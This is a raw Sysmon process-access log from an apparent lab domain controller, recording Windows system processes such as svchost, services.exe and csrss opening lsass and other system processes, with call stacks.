09:09:19.325{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000854Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.325{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000853Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.325{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000852Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.325{A5F018FF-28BD-5F80-0A00-000000007F01}852936C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1600-000000007F01}1576C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000851Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.325{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1600-000000007F01}1576C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000850Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.325{A5F018FF-28BD-5F80-0A00-000000007F01}8521144C:\Windows\system32\services.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000849Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.309{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-1600-000000007F01}1576C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000848Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.309{A5F018FF-28BD-5F80-0A00-000000007F01}8521116C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1600-000000007F01}1576C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+52f1|C:\Windows\system32\services.exe+d7ae|C:\Windows\system32\services.exe+4c6c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000847Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.309{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000846Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.309{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000845Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.309{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000844Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.309{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000843Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.309{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000842Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.309{A5F018FF-28BD-5F80-0B00-000000007F01}868900C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000841Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.294{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000840Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.263{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+163fd|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+d69b2|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000839Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.263{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0E00-000000007F01}1104C:\Windows\system32\LogonUI.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+19ab3|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000838Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.263{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000837Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.263{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000836Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.263{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000835Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.263{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1200-000000007F01}1256C:\Windows\System32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000834Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.263{A5F018FF-28BD-5F80-0B00-000000007F01}8681112C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1200-000000007F01}1256C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000833Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0A00-000000007F01}8521192C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-1400-000000007F01}1296C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000832Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BE-5F80-0C00-000000007F01}604600C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1400-000000007F01}1296C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000831Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0800-000000007F01}724820C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-1500-000000007F01}1356C:\Windows\system32\dwm.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000830Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.231{A5F018FF-28BD-5F80-0900-000000007F01}8001092C:\Windows\system32\winlogon.exe{A5F018FF-28BF-5F80-1500-000000007F01}1356C:\Windows\system32\dwm.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\SYSTEM32\dwminit.dll+2d11|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000829Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 